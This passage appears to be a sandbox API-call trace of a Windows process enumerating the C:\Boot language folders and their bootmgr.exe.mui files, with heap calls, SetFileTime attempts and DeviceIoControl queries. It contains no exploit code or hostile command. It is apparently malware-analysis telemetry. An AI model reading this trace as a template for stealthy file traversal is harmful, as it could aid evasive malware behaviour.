ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4e28 [0039.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9eb960 [0039.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.594] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.594] GetLastError () returned 0x12 [0039.594] FindFirstFileExW (in: lpFileName="C:\\Boot\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.594] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.594] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.594] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.594] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.594] GetLastError () returned 0x12 [0039.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.594] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.595] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0039.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.595] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.609] CreateFileW (lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0039.609] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.609] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.609] NtClose (Handle=0x15c) returned 0x0 [0039.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.609] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.609] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.609] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4e48 [0039.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9eb9e8 [0039.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.610] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.610] GetLastError () returned 0x12 [0039.610] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.610] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.610] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.610] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.610] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.610] GetLastError () returned 0x12 [0039.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.610] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.610] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0039.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.610] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.610] CreateFileW (lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0039.611] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.611] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.611] NtClose (Handle=0x124) returned 0x0 [0039.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.611] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.611] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.611] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4e68 [0039.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9eba70 [0039.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xc0) returned 0x9d4970 [0039.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94ed90) returned 1 [0039.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.611] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.611] GetLastError () returned 0x12 [0039.611] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.612] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.612] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.612] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.612] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.612] GetLastError () returned 0x12 [0039.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.612] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.612] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0039.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.612] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.619] CreateFileW (lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0039.619] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.619] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.619] NtClose (Handle=0x15c) returned 0x0 [0039.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.619] FindFirstFileExW (in: lpFileName="C:\\Boot\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.619] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.619] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4e88 [0039.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94ed90 [0039.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.620] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.620] GetLastError () returned 0x12 [0039.620] FindFirstFileExW (in: lpFileName="C:\\Boot\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.620] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.620] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.620] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.620] FindNextFileW 